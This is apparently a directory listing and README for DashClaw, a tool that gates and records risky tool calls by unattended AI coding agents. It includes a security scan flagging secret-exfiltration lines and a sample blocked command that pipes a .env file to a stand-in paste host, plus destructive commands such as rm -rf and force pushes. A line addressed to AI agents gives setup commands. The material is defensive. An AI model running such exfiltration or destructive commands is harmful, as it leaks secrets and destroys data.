by ucsandman
Remote approvals, policy checks, and execution evidence for unattended AI agents.
# Add to your Claude Code skills
git clone https://github.com/ucsandman/DashClawLast scanned: 6/11/2026
{
"issues": [
{
"file": ".claude/skills/dashclaw-agent/compliance-drift-evals/SKILL.md",
"line": 44,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/create-policies/SKILL.md",
"line": 104,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/create-policies/SKILL.md",
"line": 137,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/instrument-agent/SKILL.md",
"line": 62,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/manage-approvals/SKILL.md",
"line": 85,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/manage-approvals/SKILL.md",
"line": 91,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/register-on-dashclaw/SKILL.md",
"line": 17,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/register-on-dashclaw/SKILL.md",
"line": 70,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/register-on-dashclaw/SKILL.md",
"line": 129,
"type": "secret-exfiltration",
"message": "Instruction appears to send credentials/secrets to an external endpoint",
"severity": "medium"
},
{
"file": ".claude/skills/dashclaw-agent/register-on-dashclaw/SKILL.md",
"type": "secret-exfiltration",
"message": "…and 1 more similar match in this file",
"severity": "low"
}
],
"status": "PASSED",
"scannedAt": "2026-06-11T08:49:24.026Z",
"npmAuditRan": true,
"pipAuditRan": true,
"promptInjectionRan": true
}DashClaw is an open-source ai agents skill for AI coding assistants such as Claude Code, Codex CLI, and ChatGPT, built by ucsandman. Remote approvals, policy checks, and execution evidence for unattended AI agents. It has 300 GitHub stars.
Yes. DashClaw passed SkillsLLM's automated security scan — a dependency vulnerability audit plus prompt-injection heuristics — with no high-severity issues. You can read the full report in the Security Report section on this page.
Clone the repository with "git clone https://github.com/ucsandman/DashClaw" and add it to your Claude Code skills directory (see the Installation section above).
DashClaw is primarily written in TypeScript. It is open-source under ucsandman on GitHub, so you can review or fork the full source.
Yes. SkillsLLM lists many other AI Agents skills you can browse and compare side by side. Open the AI Agents category from the badge at the top of this page, or use the Related Skills and comparison links further down to weigh DashClaw against similar tools.
No comments yet. Be the first to share your thoughts!
⚠️ Third-Party Software Notice
This skill is third-party open-source software developed and hosted independently on GitHub. SkillsLLM is an informational directory and does not control or maintain the underlying repository.
Any security checks, ratings, or warnings displayed by SkillsLLM are automated and limited in scope. They do not constitute a security certification or guarantee that the software is safe, error-free, or free from malicious code, vulnerabilities, compromised dependencies, or prompt-injection risks.
Review the source code, permissions, dependencies, and configuration before installing or running any third-party skill. Use is at your own risk. To the maximum extent permitted by applicable law, SkillsLLM is not liable for losses arising from third-party software.
npx dashclaw up # no account, first caught action in minutes
AI agents: setting DashClaw up for your user? Run
npx dashclaw up --yes --no-browser— the plain command prompts and will hang a non-interactive shell. The API key lands in~/.dashclaw/instance.json; verify withGET http://localhost:3000/api/healthandnpx dashclaw doctor. Full runbook: dashclaw.io/llms.txt. Do not attempt the hosted trial headlessly — its captcha needs your human.
A 10-second capability scan before the dense sections:
dashclaw_invoke can cancel a blocked call before execution. Bare SDK, API, and ordinary MCP integrations are cooperative: the caller must honor the verdict./approvals inbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.block at guard time; weaker ones raise a warn.At a supported enforcement seam, DashClaw is a fail-closed approval layer between an agent deciding to call a tool and the tool actually running. The Claude Code, Codex, and Hermes hooks, the OpenClaw gateway, and dashclaw_invoke can stop the call. Bare SDK, API, and ordinary MCP integrations still evaluate and record governance, but enforcement is cooperative: their caller must honor the result.
These are the catches on the record, from the maintainer log and THESIS.md, each one the same loop firing:
rm -rf on a working directoryDROP TABLE against a live databasegit push --force origin main.env and preparing to exfiltrate it (risk 100, two policies firing at once)The last one caught the maintainer's own shell command mid-verification: extracting an API key from .env.local, blocked live at risk 100. Here is roughly what the seam does with it:
$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
DashClaw guard risk=100 policies_matched=2
decision=block (fail-closed, hook exit 2)
-> tool call cancelled. never executed. decision recorded in the ledger.
The audience is narrow on purpose: a solo developer or small team running long, unattended coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.
Where DashClaw fits. Local runtime permission prompts serve the operator who is at the keyboard. DashClaw focuses on unattended work: remote and async approval, shared policy across supported runtimes, an auditable decision trail with signed evidence where issued, calibrated interruptions, and time-bounded liveness diagnostics for installed enforcement seams.
It is 2am, the run is in hour three, and the agent reasons its way to git push --force origin main. With the hook installed, DashClaw freezes the call and pages you wherever you are; you tap deny, and the decision ledger records the resolution. A signed receipt exists only where the eligible evidence path issues one.
The hook seam owns this lifecycle inside Claude Code, Codex, and Hermes. A bare SDK integration is cooperative, so application code must keep the real effect inside runGoverned() as shown here.
import { DashClaw } from 'dashclaw';
const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });
await claw.runGoverned(
// The exact act is scrubbed, classified, recorded, and bound to the execution claim.
{ kind: 'shell', command: 'git push --force origin main' },
{ action_type: 'shell', declared_goal: 'Force-push the rebased branch' },
async () => run(),
);
runGoverned() waits for required approval, claims one execution attempt under a fresh policy check, invokes the callback, and reports the outcome. The claim binds the action, agent, credential principal, and exact act; any applicable operator or plan authority is consumed atomically with the claim. If claim or completion acknowledgement is lost, the helper does not repeat the callback. Reconcile the action and external system before retrying; ledger idempotency cannot make an external effect exactly once. Python uses run_governed(). Full example: QUICK-START.md.
Upgrade order: deploy the matching schema and server before upgrading governed SDK helpers, which require execution-claim protocol 1. Hooks and OpenClaw preserve legacy guard/approval behavior only when the server advertises no claim protocol; that